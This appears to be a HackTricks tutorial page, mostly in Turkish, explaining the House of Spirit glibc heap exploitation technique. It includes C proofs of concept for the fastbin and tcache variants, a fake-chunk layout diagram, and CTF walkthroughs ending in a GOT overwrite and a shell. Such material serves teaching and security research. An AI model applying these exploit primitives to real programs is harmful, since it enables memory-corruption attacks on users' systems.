House of Spirit

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Kod

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### Amaç

- **tcache / fast bin**'e bir adres ekleyebilmek, böylece daha sonra onu allocate etmek mümkün olsun

### Gereksinimler

- Bu saldırı, saldırganın birkaç fake fast chunk oluşturabilmesini (doğru size değerlerini doğru pozisyonlarda gösterecek şekilde) ve ardından ilk fake chunk'i free edip bin'e girmesini gerektirir.
- **tcache (glibc ≥2.26)** ile saldırı daha da basittir: sadece bir fake chunk yeterlidir (tcache yolunda next-chunk size check yapılmaz) — yeter ki fake chunk 0x10-aligned olsun ve size field'i geçerli bir tcache bin aralığına düşsün (0x20-0x410 on x64).

### Saldırı

- Güvenlik kontrollerini atlatan fake chunk'lar oluştur: temelde doğru pozisyonlarda doğru size değerlerini gösterecek 2 fake chunk gerekir.
- Bir şekilde ilk fake chunk'i free ederek fast veya tcache bin'e girmesini sağla ve sonra onu allocate ederek o adresi overwrite et.

**Kod** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **saldırıyı anlamak için harika.** Bununla birlikte koddan alınan bu şema bunu oldukça iyi özetliyor:

<details>
<summary>Fake chunk layout</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

Bazı sanity kontrollerini atlatmak için ikinci chunk’ı oluşturmanız gerektiğini unutmayın.

Tcache house of spirit (glibc ≥2.26)

  • Modern glibc’de tcache fast-path, sonraki chunk boyutunu/prev_inuse’ı doğrulamadan önce tcache_put’u çağırır; bu yüzden yalnızca mevcut fake chunk geçerli görünmek zorundadır.
  • Gereksinimler:
  • Fake chunk 16-byte aligned olmalı ve IS_MMAPPED/NON_MAIN_ARENA olarak işaretlenmemiş olmalıdır.
  • size bir tcache binine ait olmalı ve prev_inuse bit set içermelidir (size | 1).
  • O bin için Tcache dolu olmamalıdır (varsayılan maksimum 7 giriş).
  • Minimal PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking bir engel değildir: tcache içinde saklanan forward pointer, free sırasında otomatik olarak fd = ptr ^ (heap_base >> 12) şeklinde encode edilir, bu yüzden attacker tek bir fake chunk kullanırken key’i bilmek zorunda değildir.
  • Bu varyant, glibc hooks kaldırıldığında (≥2.34) ve ekstra corruption oluşturmadan hedef bir buffer’ı (ör. stack/BSS) bir tcache chunk ile overlap etmek veya hızlı bir arbitrary write elde etmek istediğiniz durumlarda kullanışlıdır.

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Bir overflow aracılığıyla bir pointer’ı GOT adresine işaret edecek şekilde değiştirmek ve böylece CTF içindeki read eylemiyle libc adresi leak etmek mümkündür.

  • House of Spirit: “rifles” sayısını tutan bir counter’ı kötüye kullanarak ilk fake chunk’ın fake size’ını üretmek mümkün; ardından bir “message“ı kötüye kullanarak bir chunk’ın ikinci size’ını fake etmek ve son olarak bir overflow’u kötüye kullanarak free edilecek bir pointer’ı değiştirmek ve böylece ilk fake chunk’ımızın free edilmesini sağlamak mümkün. Daha sonra bunu allocate edebiliriz ve içinde “message“in saklandığı adres yer alır. Ardından bu adresi GOT tablosundaki scanf girişine işaret ettirip scanf’i system adresi ile overwrite edebiliriz.
    Bir sonraki scanf çağrısında "/bin/sh" inputunu göndererek bir shell alabiliriz.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Başlatılmamış stack buffer.

  • House of Spirit: Heap pointer’larından oluşan global bir dizinin ilk indeksini değiştirebiliriz. Tek bir byte değişikliğiyle, geçerli bir chunk içinde bir fake chunk üzerinde free kullanarak tekrar allocate ettiğimizde overlapping chunks durumu elde ederiz. Bununla birlikte, basit bir Tcache poisoning attack ile arbitrary write primitive elde etmek mümkün olur.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin